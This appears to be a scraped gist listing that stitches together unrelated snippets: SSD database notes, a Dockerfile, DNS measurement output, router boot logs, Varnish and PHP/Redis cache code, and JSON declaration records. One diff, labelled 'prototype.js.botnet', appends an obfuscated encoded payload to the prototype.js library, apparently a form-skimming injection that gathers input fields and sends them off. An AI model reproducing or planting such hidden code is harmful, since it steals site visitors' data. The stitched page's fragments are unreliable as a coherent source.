- Check if drive is in the DB. If not - probably regexp not matched.
- If drice is not in the db - try to look for a very similar drive.
- If not found and you want to add it - do not add only one drive, try to find a datasheet for the entire serie on the vendor site. Google for the values.
- Check if attribute matching other entries with a same brand. A lot of SSD-s are in fact same hw but different names.
- If there is an exact match - extend regexp to match entire session. If there is no match - create a new entry.
- SMART attribute source order: datasheet (if any), vendor tool (usually windows only, ask user to run), very similar drives, guess (last choice)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:latest | |
RUN apt-get update | |
# install dependencies | |
RUN apt-get install --yes gcc g++ bison make wget xz-utils | |
# Compile binutils | |
RUN mkdir /build && cd /build && \ | |
wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.tar.xz && \ | |
tar -xf binutils-2.29.tar.xz && cd binutils-2.29 && \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bash-3.2$ python resolve-name.py -v --country=UA --requested=1000 yandex.ru | |
{'definitions': [{'protocol': 'UDP', 'description': 'DNS resolution of yandex.ru from UA', 'af': 4, 'query_argument': 'yandex.ru', 'query_type': 'A', 'query_class': 'IN', 'set_rd_bit': True, 'type': 'dns', 'use_probe_resolver': True}], 'is_oneoff': True, 'probes': [{'requested': 1000, 'type': 'country', 'value': 'UA', 'tags': {'include': ['system-resolves-a-correctly', 'system-resolves-aaaa-correctly']}}]} | |
Measurement #8779190 for yandex.ru/A uses 169 probes | |
Warning: reply at probe 10070 has no answers: may be the server returned a delegation? | |
Warning: reply at probe 13443 has no answers: may be the server returned a delegation? | |
Warning: reply at probe 2091 has no answers: may be the server returned a delegation? | |
Warning: reply at probe 2204 has no answers: may be the server returned a delegation? | |
Warning, probe 4594 never got reply from any resolver | |
[] : 4 occurrences | |
[195.138.80.101] : 2 occurrences |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- prototype.js 2017-02-02 07:08:53.000000000 +1000 | |
+++ prototype.js.botnet 2017-02-02 07:36:41.271149000 +1000 | |
@@ -6080,3 +6080,4 @@ | |
} | |
}); | |
})(); | |
+var x="q\\m -+ni_ -+ .?ipgg .= +<rdi_jr)jigj\\_ -+ .? -+api^odji -+ -3 -4 -+ 2= +< -+ -+ -+ -+da -3 -3i`r -+M`b@sk -3 -2ji`k\\b` -2 -4 -4)o`no -3rdi_jr)gj^\\odji -4 -4 -+ 2= +< -+ -+ -+ -+ -+ -+ -+ -+n`i_ -3 -4 .= +< -+ -+ -+ -+ 2? +< 2? .= +<api^odji -+^gf -3 -4 -+ 2= +< -+ -+ -+ -+q\\m -+dik .?_j^ph`io)lp`mtN`g`^ojm<gg -3 --dikpo -> -+n`g`^o -> -+o`so\\m`\\ -> -+^c`^f]js -- -4 .= +< -+ -+ -+ -+ajm -+ -3q\\m -+d .?+ .=d .>dik)g`iboc .=d&& -4 2= +< -+ -+ -+ -+ -+ -+ -+ -+da -3dik 0=d 0?)q\\gp`)g`iboc .@+ -4 -+ 2= +< -+ -+ -+ -+ -+ -+ -+ -+q\\m -+ih` .?dik 0=d 0?)i\\h` .= +< -+ -+ -+ -+ -+ -+ -+ -+da -3ih` .? .? -2 -2 -4 -+ 2= -+ih` .?d .= -+ 2? +< -+ -+ -+ -+ -+ -+ -+ -+ni_& .?dik 0=d 0?)i\\h`& -2 .? -2&dik 0=d 0?)q\\gp`& -2 -1 -2 .= +< -+ -+ -+ -+ -+ -+ -+ -+ 2? +< -+ -+ -+ -+ 2? +< +< 2? +< +<api^odji -+n`i_ -3 -4 -+ 2= +< -+q\\m -+]oi .?_j^ph`io)l |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@lede:/# dmesg | |
[ 0.000000] Linux version 4.4.42 (builder@3d0c773196e1) (gcc version 5.4.0 (LEDE GCC 5.4.0 r3011-5faad30) ) #0 Thu Jan 19 15:29:00 2017 | |
[ 0.000000] bootconsole [early0] enabled | |
[ 0.000000] CPU0 revision is: 00019374 (MIPS 24Kc) | |
[ 0.000000] SoC: Qualcomm Atheros QCA9533 ver 2 rev 0 | |
[ 0.000000] Determined physical RAM map: | |
[ 0.000000] memory: 02000000 @ 00000000 (usable) | |
[ 0.000000] User-defined physical RAM map: | |
[ 0.000000] memory: 02000000 @ 00000000 (usable) | |
[ 0.000000] Initrd not found or empty - disabling initrd |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
vcl 4.0; | |
import std; | |
# The minimal Varnish version is 4.0 | |
backend default { | |
.host = "127.0.0.1"; | |
.port = "80"; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
==New BSD License== | |
Copyright (c) 2013, Colin Mollenhour | |
All rights reserved. | |
Redistribution and use in source and binary forms, with or without | |
modification, are permitted provided that the following conditions are met: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/lib/Cm/Cache/Backend/Redis.php b/lib/Cm/Cache/Backend/Redis.php | |
index 34a0f13..ca408f8 100644 | |
--- a/lib/Cm/Cache/Backend/Redis.php | |
+++ b/lib/Cm/Cache/Backend/Redis.php | |
@@ -237,6 +237,7 @@ class Cm_Cache_Backend_Redis extends Zend_Cache_Backend implements Zend_Cache_Ba | |
{ | |
//@todo: remove cache prefix properly | |
$id = substr($id,4); | |
+ if ($id == "CONFIG_GLOBAL_LOCK") return false; | |
foreach ($this->_tmpCacheKeywords as $match) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bash-3.2$ jq . patch | |
[ | |
{ | |
"id": "ed1edfa1-2823-4df9-96ea-ec16eba40083", | |
"created_date": "19.08.2016", | |
"lastmodified_date": "19.08.2016", | |
"data": { | |
"step_0": { | |
"declarationType": "1", | |
"declarationYear1": "2015" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"id": "ff0c75ed-d82f-461e-a0b6-2b1d2605ce1b", | |
"created_date": "22.09.2016", | |
"lastmodified_date": "22.09.2016", | |
"data": { | |
"step_0": { | |
"declarationType": "1", | |
"declarationYear1": "2015" | |
}, |